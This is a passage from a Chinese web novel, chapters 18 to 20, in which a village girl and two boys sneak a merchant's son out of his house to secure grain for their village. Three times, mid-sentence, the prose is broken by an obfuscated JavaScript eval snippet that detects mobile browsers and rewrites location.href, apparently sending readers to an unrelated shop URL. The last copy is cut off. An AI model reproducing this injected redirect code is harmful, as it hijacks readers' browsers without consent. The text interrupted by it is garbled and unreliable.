高寒将自己在柏桥村打听到的那女子在相亲时差点掐死一位妇人,亲眼见的她又在火场中徒手救出一家四口以及昏迷的兄长,还有自告奋勇要去安南庄借粮诸事一股脑全部说出。 他本不是这样啰嗦的人,可那个姑娘实在奇怪,“一个天生身子就不好的姑娘也不知忽然着了什么魔,掐人咽喉、夜半翻墙、行事古怪又惯会花言巧语,属下没见过这样的姑娘……” 牢骚声戛然而止,高寒被自己无意抬头看到的一抹似无而有的笑容吓得怔住了,他忙俯身叩首,“高寒多言,请主子责罚。” “起来吧,将册籍核对核对再还给城吏。” “是。” 高寒再起身时,因那人扬起的嘴角而暖和起来的身子此刻重又冷冽起来,他正欲告退,门外传来无恩的声音—— “主子,昨日梁相派去迎接北漠使团的探子带回消息,北漠和亲公主塔鲁阿茶不见了。” 18. 交易 三个孩子在安南庄待了整整一下午却一无所获,村里人见他们垂头丧气的回来都没有多问什么,来接儿子的史陆香也只是轻轻抹掉粘在苟旦嘴角的糖渣便和他一起回了在村里临时借住的空院子。 第二天一大早,初明将一个包裹挂在妹妹身上,嘱咐道,“眠眠,要是办法行不通就快些回来,大家不会拿大人们都办不了事去为难几个孩子的。” 初暒点头,嗯了一声。 “不过……”初明在四周环视一圈,问,“你那两个伙伴怎么还没来?该不会……” “不会。” 初暒答的坚定,她话音刚落,就隐隐看到两道身影从村子深处跑来。 两人跑的气喘吁吁,初暒将斜跨在肩上的包裹系紧后,抬头说,“哥,你快些回去给爹娘帮忙吧。” “好。” 初明目送三人走远,可眼里和心上的担忧也久不弥散。 从柏桥村去安南庄的路途风光与昨日并无二致,可路上行人的神色却不尽相同。 今天是交粮的最后一日了,如若再借不到粮,那明日等着他们的还不知是什么,苟旦与成非似乎心有灵犀,他们俩相视一眼后皆是焦灼的看向走在前头那人。 初暒仍然昂首挺胸、目不斜视。 像是察觉到他们心中所想,初暒大跨的步子慢了许多,看他俩跟上来了,她才道,“苟旦昨日打听到陈富户每日上午都会出门议事,因而我们需得等他出去后再设计将陈家宝带出来。” 成非:“将陈家宝带出来?可是我们连陈家宝住在哪间屋子里都不知道呢。” 初暒想了想,问,“你们可有读过《彻地鼠恩救二公差,白玉堂智偷三件宝》的故事?” 成非摇了摇头,苟旦眼中也满是疑惑。 初暒笑笑,道,“故事中讲,某日,包公正在思索之际,忽听院内拍的一声不知是何物落下,包兴连忙出去,却拾进一个纸包儿来,上写着‘急速拆阅’四字,包公看了,以为必是匿名帖子,或是其中别有隐情,拆开看时,里面包定一个石子,有个字柬儿,上写着:‘我今特来借三宝,暂且携回陷空岛,南侠若到卢家庄,管叫御猫跑不了。’包公看罢,便叫包兴前去看视三宝,又令李才请展护卫来。不多时,展爷来到书房,包公即将字柬与展爷看了,展爷忙问‘相爷可曾差人看三宝去了没有?’包公答已差包兴看视去了。展爷不胜惊骇,道:‘相爷中了他‘拍门投石问路’之计了。’包公问何以谓之‘投石问路’呢?展爷回‘这来人本不知三宝在于何处,故写此字令人设疑,若不使人看视,他却无法可施;如今已差人看视,这是领了他去了。此三宝必失无疑了。’”① 苟旦呢喃,“投石问路?” 成非:“就算咱们用这个‘投石问路’找着陈家宝了,又该怎么带他出来呢?” 初暒:“昨日我在陈家附近巡看过了,庄子各户的宅院墙面虽高,可护卫并不算好,如果我们几个都不想暴露,翻墙是个办法。” “翻墙?”成非差些怀疑自己听错了,“你没见过陈家宝么?三个你绑起来都没有他沉,要他翻墙不若叫他爹将粮直接送给我们呢!” 苟旦:“是啊眠眠,那个小胖子爬坡都费劲呢,莫说翻墙了。” 初暒拍了拍自己斜跨的包袱,“法子在包里装着,你们别忧心。” 从柏桥村出来时,天色熹微,等他们赶到安南庄时,天光已然大亮。 三人站在昨日躲着的巷角,静静看着陈宅门口那顶四抬轿子起步走远,成非问初暒,“你那左右肩上挎着的是什么,闻着还怪香的。” “番薯糕,我兄长做的。” 成非吞了吞口水,赞叹,“初明哥的手艺真是越来越好了哈。” 闻言,初暒将包袱打开,让他们自取并叮嘱说,“这糕点味道虽好,但不宜多吃。” 苟旦取了一块尝尝味道,成非则双手各捏了一把,轮流往嘴里塞,边塞还边嘟嘟囔囔,“知道了,知道了,真是小气……” 成非无礼,被苟旦轻轻踹了一脚,两人正欲打闹,叫初暒拦住,“陈富户虽说已经出门,但万事难保没有变动,咱们得抓紧时间。” 成非与苟旦终于冷静下来看她,初暒继续说,“成非首先翻墙进去在院落中大喊‘小少爷不见了’,由陈家下人们带路去找陈家宝住所,此时我伏在墙头观望他们的行进路线,记住陈家宝屋子位置后再将他带出,而后成非在屋内李代桃僵。” “啊怎的都是我的活儿,苟旦呢?” 初暒:“苟旦在外接应陈家宝,等我出来后再去寻找常与陈家算命的那位先生。” 苟旦点头,却很是不解,“我寻到他而后如何?” “设法让他知晓柏桥村难筹粮一事。” 苟旦:“好。” 成非:“我们俩都有事情做了,你该不是只是耍耍嘴皮子吧,诶不对,苟旦去寻算命先生后,就将陈家宝交予你了,你们在一起是要做什么?” “我去带他做他想做的事。”初暒将他们带至陈家一面较为隐秘的院墙,“这墙很高,成非你可以吗?” 陈家院墙约摸有一个成年男子两倍之高,远看就十分高耸,就更不必说立在墙根抬头仰视了,成非心中也没底,可又觉得怎么着也不能叫个女子小觑,于是说,“这有什么难的。” 他盯着墙头向后退了好几步,伸开双掌朝掌心呸了几声,然后猛地向前冲去。 成非身量不长,但幸好灵敏,蹦的也高,他前掌蹬在墙面,手臂向上一捞双手紧紧抓住墙沿,苟旦看他吃力,抬手在他屁股上推了一把,成非这才有劲儿爬上去跃进院内。 见他进去,苟旦对初暒说,“这墙高,你上不去,我攀上去查看,你在底下等着就好。” 可他还没有如成非那般准备好,就见初暒在旁边寻了处有凹陷的墙面,借力两步就爬上了墙头,她身手之矫健、动作之轻盈让苟旦看的目瞪口呆,他怔了好一会儿才问了句,“那日你就是这样翻进我家院墙的?” 初暒在院中找到成非鬼鬼祟祟的身影后,答,“你家院墙低,我单手就越过去了。” 苟旦:“……” “小少爷不见啦!” 成非的声音在里头响起,苟旦终于回过神来爬上去。 这声喊叫一响果如初暒预料,有四五个男子立即从房中院内冲出,径直往一个方向跑,但要是如计划所定,成非在喊完之后应迅速撤离陈家宅院,可此刻他非但没有离开,反而悄悄跟着人群一同跑向陈家宝的屋子。 “这个混蛋怎么净胡来!”苟旦跟在初暒后面焦急道,“眠眠,他不听话!” 初暒抿了抿嘴,没有多说什么 他们两人弯腰跟着护卫来到了一处幽静小院,领头的男子走近房门看到门环上搭着的锁头还是紧的,想了一下还是取了钥匙开锁。 “少爷?” 门刚被他推了个缝隙,一件不知是花瓶还是痰盂的瓷器就直直向他砸来,“滚滚滚,本少爷就是饿死也不踏出这间屋子半步了,你们谁都不要再劝!” 男子确认自己要看住的少爷还有气有力、活生生的待在屋子里时,松了口气,他讪笑一声,“少爷消消气,没有人同您送吃食,也无人接您出去,方才院里不知何人在胡乱叫唤,怕吓着您,小的这才来瞧瞧。” 陈少爷听见这话,更气了。 他随手又将桌上雕了驴的砚台丢出去,恶狠狠地骂了句,“滚蛋!” 男子借门挡住飞出来的砚台,顺势重又在门环上落了锁,他转身同身后的护卫交代仔细看护后,便各自散去,见他们走远,成非悄悄来到陈家宝门前。 他摸着门锁端详良久,终于无奈道,“这锁看着还怪结实……” “谁在外面?” “小胖,是我,成非。” 陈家宝听见动静,贴在门缝往外瞧,成非见他发现自己便问,“被锁了这么久,你想出来玩不?” “你小子怎么会来我家?” “就……”成非支支吾吾。 “哎呀我当然想出去了,只是你瞧门上那锁是我爹花大钱买的,这门被踹烂了,锁都不一定能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888067|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开呢,你要是不嫌冻就陪我说说话也成。” 成非心想这么冷的天,我当然嫌冻了,可这锁他弄不开。 纠结了一下他还是觉得还是出去问问怎么办吧。 “唉,本来还想逞英雄将陈小胖带出去呢,谁知连门都打不开……” 陈家宝:“你说什么?” “我说去给你搬救兵,哎呦……这谁丢了块石头在这儿……”成非被绊倒,捡起石头才发现这是块砚台,“这砚台上怎的还刻了头驴?” “什么驴?那是马!小马!” 陈家宝怒气冲冲的声音响起,吓得成非连爬带滚的往院落墙角跑,他翻上墙头才敢四处巡视周围有无护卫来抓。 “成非,你怎的不听眠眠指挥!” 成非心里有鬼,只狡辩说,“我想着自己进都进去了,能提前给陈家宝通个信也好啊。” 苟旦冷笑,“你都见了陈家宝了,为何不直接将他带出来?” “他那门上落了锁,咱们打不开,我看了一下那锁头就是砸开也费劲呢。” 苟旦下意识求助的看向初暒,只见她从另一个包裹里取出一个滚轮和一捆麻绳,“既然成非已经与陈家宝通过气,那现在就由我将他带出来,你们俩将滚轮固定在墙头后把麻绳卡在滚轮表面缝隙,一会儿等墙里绳子被拉动三下后再合力拉动绳子。” 苟旦接过工具点头说好,初暒翻身下墙,她轻巧的来到陈家宝门前,看了一眼门上锁芯而后从自己发间摸出一根铁丝。 成非见状,问,“她用那玩意儿能戳开?” 苟旦还没有答话,他们俩就看见初暒已经推门将陈家宝拽出来了。 成非:“……当我没问。” “别废话了,快将这个装置搭好。” 初暒准备的工具分量很轻,但承重大也十分省力,说要两人去拉,可实际只要苟旦一人使劲就将陈家宝拽了出来。 陈家宝:“张小卫每隔一个时辰来问我一次,你到时只管用屋里头的瓷器招呼他就成,我书桌柜里有吃的,饿了就垫吧点啊非!” 成非翻墙进去时,皱眉,“知道了,你他娘声音小点!” 初暒将他送进陈家宝屋子里,道,“按照他说的,为我们拖延时间。” 落了锁后,仍然没有得到成非回应,就在初暒转身欲离时,屋内人忽然说,“初眠眠,我信你。” 初暒一怔,回他,“好。” 墙外,苟旦和陈家宝躲藏在不远处一个树丛里。 陈家宝对盯着他家墙头的苟旦说,“你们胆子真大,竟敢绑了老陈家的独苗。” 苟旦:“什么绑不绑的,你身上连根绳子都没有。” 陈家宝笑笑,“那是因为我听话。” 苟旦见初暒下来,立刻钻出去示意她朝这里来,而自己则依照计划前去寻找那位算命先生。 初暒今日的打扮同昨日一样,只是一身衣物因来回翻墙变得有些脏乱,陈家宝看着她嫌弃道,“初眠眠,几年不见,你怎的越发粗俗野蛮啦!” “我原先也是这般粗俗野蛮?” 陈家宝回忆说,“那倒不是,以前你身子不好,都是指挥别人粗俗野蛮来着。” 初暒只是笑了笑,陈家宝却问,“你们三个费心将我掳出来,不会就是想让我看着你笑吧?” 初暒装傻,“什么叫掠?我们明明是带你出来玩的。” “恐怕只有那两个傻子觉得这是玩。”陈家宝指着自己遍身的金银首饰,“你看上什么了随便拿,钱你拿走,我人你就别跟着了,本少爷被关久了,着实想出去玩。” 说着他卸下脖子上挂的金项圈塞给初暒,可初暒并不伸手,她只说,“你这张脸我估计整个安南庄的人都识得,要是不想再被你爹逮回去,就跟我走,我带你去玩。” 听说要去玩,陈家宝嘴角满是笑意,可那双细眯眯的小眼睛里却仍然狡黠,“那么你想从我这里得到什么?” 不愧是商户之子。 初暒将金项圈挂回他的脖颈,“我只想同你做个交易。” 19. 知命 苟旦与初暒分头后已接近午时,安南庄正是人声鼎沸的时候。 他方才学着初暒打听消息的模样问了个摊主,知晓了常去陈家的算命老道自称‘知命先生’,爱喝酒是个哑巴,闲来无事时总在闹市摆摊与人算命。 苟旦啃着干粮正在街头巷尾转悠寻找,忽听不远处似是有人在吵架,他的脑子还没反应过来,双腿就已经往热闹处凑了。 “你这老道,偷我包子一两回我也全当积德行善了,可也不能跟卖菜的赶早会似的日日都捏两个包子就走吧,你有不摊本钱的算命功夫讨生活,可怜我每日天不亮就要起来和面烧火蒸包子,老道饶了我吧,哪怕别可着我一家偷,受累多跑两家也成啊……” 说是吵架,但从头到尾都只是那位包子店老板在哭诉,而坐在他摊位旁边老道士却如老僧入定般稳如泰山。 这道士手握写着‘知命’二字的幌子,苟旦见字暗喜:真是踏破铁鞋无觅处。 他挤进人群,随意问了嘴围观百姓,“诶?我听说这老道常给庄上陈富户家的公子算命,准的很呐,怎会连买包子的钱都没有啊?” 一位热心肠妇人嗐了一声,同他解释,“这老道在庄上几十年了,谁家有个大小事他都清清楚楚的,还算什么命?这人听也听不见、话也不会说,这么些年那一句有大劫要积德,不知道叫他写了多少遍,就是陈富户对他那个皮孩子上心,什么保平安的法子都愿意试上一试,这才让那老道不至于饿死,只是得来的钱大都被他买了酒喝,成日间就混迹在集市里混吃偷拿。” 另一个大哥问,“小兄弟,我瞧着你有些面生,是从外头来的吧,大过年的不和爹娘伙伴在一块,怎么跑我们安南庄来了?” 苟旦点头,重重叹了口气,“我是柏桥村来的,上头要百姓交粮,可我家遭了灾粮食都烧没了,大人们都急疯了,我们小孩子闲着也是闲着,便上外边看看有什么能帮上忙的。” “这是哪家烧高香了,得了这么个懂事的好孩子……” “就是说,陈富户家那个小魔王要有人家乖巧半分,嘴巴不得咧到天上去了……” 包子店主哭诉一番,周围邻里又安慰了一会儿,此事便渐渐停息了,围观老道周围的人越来越少,一个挑着泔水的汉子路过他时不小心绊了一跤,扁担里一小块沾满肮脏油渍与酱汁的馊馒头从桶中跳出‘咚’的一声掉在了老道士脚边。 这声音不大,很快便隐没在闹哄哄的集市烟火中,苟旦离得近,见状原本也没有在意,可就在一个瞥眼之间,他忽的瞧见那老道微微偏头目光极为准确的盯住了脚边的馊馒头,撩袍将其一脚踢走,而后又恢复成与方才无异的稳重模样。 嘶? 这老道士是觉察到自己身边有异物了,还是鼻子太灵闻见馊味了?难不成…… 苟旦被自己脑子里涌现的想法惊地心里砰砰作响。 他以前从没有跟别人耍过心眼也不曾独自跟大人掰扯斡旋,可是眠眠将借粮计划中如此关键的一步交由自己来做,他心中哪怕再惶恐不情愿也非得去试一试的。 踟躇再三,苟旦还是走到了‘知命先生’的算命摊前。 一片阴影落在头顶,老道士一仰头就瞧见个哭丧着脸的少年。 这是要来生意啊。 他按耐住面上喜色,将一旁写着字符的薄纸递过去。 苟旦接来一看,只见薄纸上书:遇着难事不要慌,老道与你论短长,掐指测字看阴阳,通通不超过一两! 一两? 我身上一文钱都没有。 苟旦将薄纸放下,叹了口气,自言自语道,“可我遇上的难事,不是一两银子就能解决的,也是没办法了,这才来碰碰碰运气……不过,我看您日子也过得艰难,还是算了吧……” 他佯装要走,可还未转身衣袖就被拽住了,他低头一看,只瞧见老道士一手扯着自己,一手执笔奋力书了几个字后,举给他看—— 坤位西南,风自火出。 苟旦心中默念出来,明白这老道已经知晓他为何所困,可他一没有问自己的生辰八字,也不曾捏诀起卦,怎么能算出西南方向起过火呢? 他心中那个怀疑的念头更加强烈了,于是继续自言,“啊呀呀,真是神了,连我家在哪个方位都能算出来,这老道士要是真能算出我如今急需何物,那我出了这一两银子讨个解决之法又有何不可呢。” 说完,他写下问题,那老道看了眼便只回写两字—— 粮食。 这两个字仿佛是在告诉苟旦,即使方才人声鼎沸,这个老道士也在众人之中听到了自己同那一男一女的闲谈之言。 这道士的确是在装聋作哑,可这跟自己无关。 知晓了别人的秘密好像并不是什么好事。 苟旦定了定神后,按照初暒交待的话书写道:您真乃神人,我们柏桥村全村筹来的粮食皆付之一炬,可天灾哪是人力能阻止的,我身上其实并无分文,便不再叨扰先生了。 将纸条交给道士,苟旦该做的事就已经完成了。 可那老道看过字条后却丝毫没有要放他走的意思,仍拉着苟旦衣襟兀自运笔写了一张字条给他—— 所忧亦无忧。 苟旦握着字条不解,可那老道只是望着他笑,并没有解读之意,虽然不懂这话是什么意思,但苟旦还是恭恭敬敬向道士作揖答谢。 待他抬起头后,那道士又从案几上抽出一张像是早就写好的字符塞给苟旦,并笑吟吟地摆了摆手,示意他可以离开。 冠盖无缘,画中有诗。 苟旦穿过闹市,低头在字符上看到了这八个字。 他盯了许久,还是看不明白。 苟旦低语一句真是个怪人,然后揣起字符,往陈家的方向走去。 大年初三下午,天空变得阴沉,还不到傍晚用饭时间,黑云就倾压下来,让人生出已然临近黑夜的错觉。 苟旦独自躲进接陈家宝出来的树丛中,他等了许久,终于在困得差点睡着之际听见响动。 陈家宝最先钻进来拍了他一掌,笑道,“大冬天的敢在外头睡觉,也不怕被冻死。” 苟旦醒过神瞧见他灰头土脸的,忙问,“我事情都办妥了,眠眠呢?” “在呢在呢,丢不了,就她骑马那身手你丢了她都丢不了……” “我去接成非。” 初暒的声音传来,苟旦没有听清陈家宝最后一句话,他从树丛中出来,“那我上去装滑轮。” “不用这么麻烦。” 初暒说完麻利的翻身上墙,陈家看着她的背影又看了看自家墙面,一副若有所思的模样。 不到片刻,苟旦便与成非先后下来。 成非捂着肚子,皱眉说,“今天不知怎的,一直想放屁,又怕屁声吓着了你家中护卫因而一直憋着,到现在那阵气自下面出不来,竟全都从上面涌出来了,难受死我了。” 苟旦白了他一眼,“你说话注意些,咱们这儿还有姑娘呢。” 成非嘟嘟嘴,问初暒,“眠眠,你包袱里的番薯糕有没有了,我还想吃。” 初暒还没答话,一旁的陈家宝先抢了她的包袱抱在怀里,“不给你,我也喜欢!初眠眠答应都给我了!” 成非不服气,却又瞧见苟旦给他使了个眼色,只得后退一步。 苟旦问,“眠眠,陈家宝该怎么回去呢?” 初暒在周围巡视一圈,从地上捡了根木棍用力抡在路边一个干枯大树的树干上 ‘咚’的一声巨响过后,初暒对陈家宝说,“趴到你家墙下大哭就行。” 陈家宝‘哦’了一声乖乖照做。 听见重物掉落和疑似少爷大哭的声音响起,张小卫连忙差人去后院,自己则带着两人提灯循声去了外院。 看有灯光过来,初暒拉着成非和苟旦躲进树后,借着夜色,他们看见领头护卫认清摔下来的人脸后,吓得连抱带扛的将人运回宅院。 过了一会儿,早晨出门的车轿也归家了,初暒静静数了几个数,一道老汉的哭喊便从院内响起,直飞冲天。 成非捂着耳朵,问,“陈富户至于么,他但凡扒开陈家宝的衣服就知道他儿子没摔出啥样啊!” 初暒不语,她假装自己没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888068|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有看到过陈家宝下午学骑马时,叫马儿踹飞、甩掉好几回。 苟旦则担忧问,“眠眠,你交代给我的事都办好了,现在陈家宝人也已经送还回去了,这样做陈富户真会借粮给我们么?” 成非:“就是,今天你一整日都神神叨叨的,我无聊在陈家宝屋子里寻摸一下午也不想不明白你为何要这样安排,全村都将借粮的希望寄托在咱们仨身上,可是我昨夜回家都不敢跟我娘说自己连陈富户的人都没见到,更别说提借粮这事了,眠眠,你实话跟我们说,借粮一事是不是你借口整治我们的?” 初暒笑问,“我为何要整治你们?” 成非:“难道不是因为村里人以前都曾出言诋毁过你们家?” “你都说是以前了,再者我们一家也是柏桥村人氏,村里有难,谁都逃不了的。” 初暒看见陈家有家仆慌慌张张出来又匆忙拎着个人进去。 苟旦也瞧见了,“诶?那人是大夫吗?怎么背着个药箱?” “噗。” 成非的气终于通了,他红着脸似乎有些不好意思,“那个那个,这么晚了他们请大夫做什么?难不成是给陈富户吓出病了!” 他为了转移大家注意的话倒让苟旦心里一惊。 初暒怕吓着他们了,便说,“不是陈富户,是陈家宝,他下午吃了许多番薯糕,番薯糕里加了黄豆,寻常人吃了会通气,但喜食荤腥油腻之人吃了只会腹痛难忍。” 成非:“那不是让陈家宝为我们受罪了,明明不关他事的。” 苟旦也想说些什么,可最终还是没有开口,他内疚的看了一眼陈家,却恍惚在门口看到一个熟悉的身影。 “那个人……好像是我今日在集市上见到的老道士,他怎么也进去了?眠眠,你不知道,那个老道士他是个……” 初暒:“是个哑巴。” “你怎么知道?”苟旦问出口才想起这事大概是陈家宝说的,“不过,旁人说他耳聋我却怀疑他是装聋的。” 成非好奇他如何知晓,苟旦这才将自己的见闻全部讲述出来,他掏出一张字条递给他们,“喏,这就是那道士写的。” 他从兜里抽出一张字条,将内袋里其余两张也带了出来,初暒眼疾手快用指尖一挑,那两张字条就全部落入她的手心。 “所忧亦无忧。”成非读出后,问,“这是什么意思?” 苟旦摇了摇头说自己也实在不明白,可他看初暒嘴角却似是带了一丝笑意。 “不管那道士是真聋还是假聋,今天我们能做的就算是做完了,能否借到粮食只看明日。”初暒看着他们,认真道,“明日不论顺利与否,我都会将今日之事一一解释给你们听。” 苟旦和成非点了点头,然后沉默的跟在初暒身边回家。 初暒说的对,能做的他们都做了,虽然不知道有没有用,可谁又能想出比她提的更好的办法呢。 在走投无路的时候,有人告诉你该怎么做,总比困在原地等死要好的。 苟旦心思细腻,他想通后找话与伙伴们闲聊,三人一路上聊聊笑笑,很快就回到了柏桥村。 刚到村口,初明就领着一群人迎面来接他们,有村民问,“你们怎么还是空着手回来?” 苟旦和成非相视一眼,不开口。 那人又问初暒,“你信誓旦旦说有办法,如今可借到粮食了?” 初明护在妹妹身前,道,“方才不是跟你说了不要咄咄逼人,他们三个还只是孩子呢。” “哼!没有金刚钻就不要揽瓷器活!因旁人的疏忽叫我们许多家遭了这担惊受怕的罪,我连问上一句都不行了吗!现在这孩子都了不得啊,一个不操心,一个敢放火,一个爱说大话,这一天半算白过了,明天等官兵来,咱们全村一起死吧……” 他啐了一口转身就走,苟旦和成非脸上很不好看,初暒安慰他们说,“还没到最后关头,现在不是担心的时候,都先回家去吧。” 这一夜,柏桥村大部分村民都不曾入睡,他们躺在床榻睁着大眼,静静等待天亮。 等待着或许是此生的最后一次天亮。 20. 阳德 人在过度清醒时是很安静的,于是柏桥村整个夜晚都十分沉默。 初暒头天出了力,所以睡得很好,直到鸡啼鸣第三声的时候才睁开眼睛。 外头静悄悄的,她披外衣出了屋门发觉家中原来只剩下她一人。 天还未大亮,柏桥村口方向却似乎明晃晃的,初暒换了女装又简单梳洗一番才悠悠出门,往火把闪烁处走去。 柏桥村口。 领头的官爷盯着脚下的六包粮食陷入了深思。 苟看财悄悄瞥了一眼他的脸色,战战兢兢说,“官爷,村子的粮食本来已经集够了,可因前几日天干物燥存放粮食的屋子不慎走了水,所有东西都叫大火烧没了,这六袋是重新从咱们村百姓嘴里剩出来的,还请官爷们看在天灾的份上,容我们柏桥村开春后再奉上欠下的粮食。” 一旁举着簿子不知在写些什么的官差,头也不抬道,“走水烧光啦,叫河边的水泡发啦,被虔来山的土匪抢走啦,绳子没拴好粮食全都让庄上的驴吃完啦,再有诸如此类说辞的村户一律按照抗命关押。” 他语气淡淡,像是这种话已经说的不耐心再说了,可苟看财却在寒冷的冬日清晨生出许多冷汗来。 那官差翻了翻手中簿子又看了眼为首官爷脚下的粮食布袋,道,“柏桥村总共五十六户人家,按照各户人头估算,每家缴纳一袋…这么大袋粮食也不算多,大早晨的甭跟他们多费口舌了,直接去取吧,咱之后还有好几个村子要跑呢……” 这话显然不是对柏桥村百姓说的。 他说的客气,让当差的小役们直接去取,可是那群人好像身经百战一样,撞开看似是在村口看热闹实则堵着家门口的村民们,径直分头涌向各家柴门中去。 苟看财心里惊恐过无数遍的画面终于真实的出现在自己眼前,可他竟然不怕了,只身跪倒在那位捧着簿子的男子面前,喊道,“咱们都是穷苦人家的,这大冬天的没有粮食可怎么活啊,官爷您行行好放过我们吧!” 推搡、哭喊、尘土纷飞。 初暒站在人群后看着踢打张狂、譬若仇敌的他们,心中觉得此情悲凉、此景荒唐,可一时间又不知道该去怪谁。 “你求我放过你们,可我们交不上该交的粮被上头拷打要命的时候谁又来放过我们!今日柏桥村若是少一袋粮食,那便用柏桥村一户人头去顶,少一户人家就少一袋粮,这样我们大家都有个交代!” 此言一出,挣扎的泊桥村民忽然丧了气,小役们倒有了干劲,他们轻易地推开因为被恐吓而软了身子的村民,大摇大摆的钻进农户家中翻箱倒柜。 苟旦用力将瘫倒在地的父亲扶起,起身时看到了冷静望着这一切的初暒。 成非也看到她了。 心中的愤恨湮没了他的心神,成非推开抱着自己的母亲径直冲到了初暒面前,并用力推了她一把,“你说过你有办法的,我信你了,可是然后呢!” 初暒被推了个踉跄,苟旦跑来拉开成非挡在她面前,“成非!在这件事上你我没有资格怪罪任何人!” 成非听到他这么说先愣了一下,而后抖着唇抬手用衣袖抹了一把眼睛,再也不吭声了,他们看着自己的村子被破坏,村民被推搡,乞求与眼泪起不了任何作用,一种愧疚与恨意自心底而起。 初暒看到这些眼神觉得熟悉,但又觉得这眼神不应该出现在他们脸上。 远处路旁两侧树木干枯枝丫开始摇晃,并有车轮轱辘碾压过泥土地的细微声音响起,她的目光越过往来人影望了过去,心中默念一句—— 来了。 “柏桥村外储粮到!” 驾着驴车而来的老汉高喊一声,车队应声全数列队停在村外小道,而村内众人皆停下手中动作迷茫的转身看向他们。 官爷从几个村汉怀中挣脱出来,皱着眉头问苟看财,“这是怎么回事,你宁可他们叫人打死,也不愿将藏匿的粮食交出?” 苟看财也在诧异,他梗着脖子结结巴巴,“我也不知……不知啊……” 成非见状脸上大喜,喊道,“莫不是我们……” 他一开口,嘴巴就被人捂住了。 初暒用眼神示意苟旦去找他爹后,轻声对他说,“此事不易张扬。” 成非抿着嘴点头。 那老汉见着柏桥村正是混乱,心里也有些打鼓,他下车走向捧着簿子的官差,谦卑道,“是我家来晚给官爷添麻烦了,车上这些是柏桥村原先存在我家的粮,时日太久了,我们两方都差些将此事忘了,听说您在这边当差,小的便立刻整了布袋奔来了,他们这些村户没见过什么世面,方才恐怕冲撞了诸位,还请您大人有大量不要同他们计较罢。” 那官差似乎认得老汉,连忙回礼,“陈管家客气,是我不知您家里同这柏桥村还有这些关系,早知如此,咱们兄弟倒省了旁的力气。” 客套完,陈管家摆手命人将粮食直接搬上官差的粮车,笑道,“您再核对核对?” “陈管家办事牢靠,哪里需要我再白费功夫。”他瞥了一眼陈家驴车上只多不少的布袋,在手中簿子上随意画了几道后才从怀里掏出一小块碎银子捧过去,笑吟吟说,“发钱的差事都不好做啊,走哪儿都叫人憎恶,兄弟还得赶下一处了,劳您替我同陈富户带好啊。” 送走洋洋洒洒一群人,陈管家终于松了一口气,他将碎银子塞进自己的衣兜,回身问了句,“柏桥村村长是哪位?初家兄弟又在何处?” 苟看财还沉浸在惊诧中,直到有人将他推到那老汉面前,他瞧见那些凶神恶煞的官差走远才终于回过神来,“我是……我就是柏桥村村长苟看财,多谢陈家管家助我全村筹粮。” 他说着就要跪下,陈管家看到初大年过来连忙同他一起将这位村长扶起,“你不必这么客气,我今日前来也是有求于你们。” 苟看财疑惑,他不知道自己能帮上有钱人家什么忙,初大年也问,“陈管家,我们村户们能为你做些什么呢?” “大人们有什么坎过不去呢,是我们家小少爷。”陈管家哎了一声,“今年不知道撞了什么邪,我家小少爷总是小灾不断的,各家大夫、先生、护卫都请了可还是不管用,前段时间有位知天命的先生算出他今年有大劫,一个不小心恐怕会伤着性命,原先老爷还不相信,可是近日那孩子像是着了魔似的非要买高马骑,和人玩耍都危险更何况跟畜生嬉戏,还有昨日自己翻墙想出去,竟从那么高的围墙上掉下来,摔得满身都是伤痕,他不喊身上疼倒是捂着肚子哭了半宿。” 成非和苟旦相视一眼,心中满是内疚。 初大年又问,“大夫也看不出病因么?” “治标不治本啊,现下就是在试各种法子,安南庄有位算命先生说,‘一个德字两种得法,一为阴德二是阳德,阴德福佑来世,阳德护佑子嗣’,今日的粮食就是陈富户赠予柏桥村以求村里诸位为家宝避灾祈福的。” 初大年将早已准备好的借粮手印册子双手捧上,说,“为孩子祈福自然可以,但是我们柏桥村全村已经签了这还粮文书,今日这粮食就算我们借的,开春后我们会全数还上。” 陈管家接过册子一看,心想:若是往常,陈富户恐怕连翻都不会翻开这个,可如今即使他们愿意还粮,陈富户也不敢再收,他合了册子推还回去,“我家老爷说了赠予就是赠予,你若是不愿,等上工了自己去找他罢。” 初大年还在固执,苟看财扯了扯他的衣袖,小声道,“他都这么说了,那便算了……” “算什么算?有了借就得还,今日他们不收,等开春我们也一定要将粮食送还回去,孩子们都看着呢,想要的东西是要靠自己努力挣的,不是靠运气靠他人得来的。” 这一番话让陈管家在心中暗自赞叹,他撇过村长拉着初大年开始商量为陈家宝祈福一事,尘埃落定,柏桥村民到此刻才终于确定筹粮一事他们终于平安度过。 初明护着母亲在人群里找到了妹妹,他脸上的惊叹与喜悦难掩,“妹妹,你竟说到做到了!” 于嫣红不明白自己乖巧的女儿怎么会有这么大本事,虽不明白但心中也觉实在自豪,她一把搂住她,呢喃,“亏得有我们眠眠。” 村里人想起前些天信誓旦旦说自己有法子借到粮食的初家女儿,都围过来夸赞感激她,有人发现,这个小姑娘面容稚嫩可那一双锐利坚定的眼睛却并不像稚嫩孩童,这个孩子是个能依靠的,就是可惜了只是个女娃娃…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 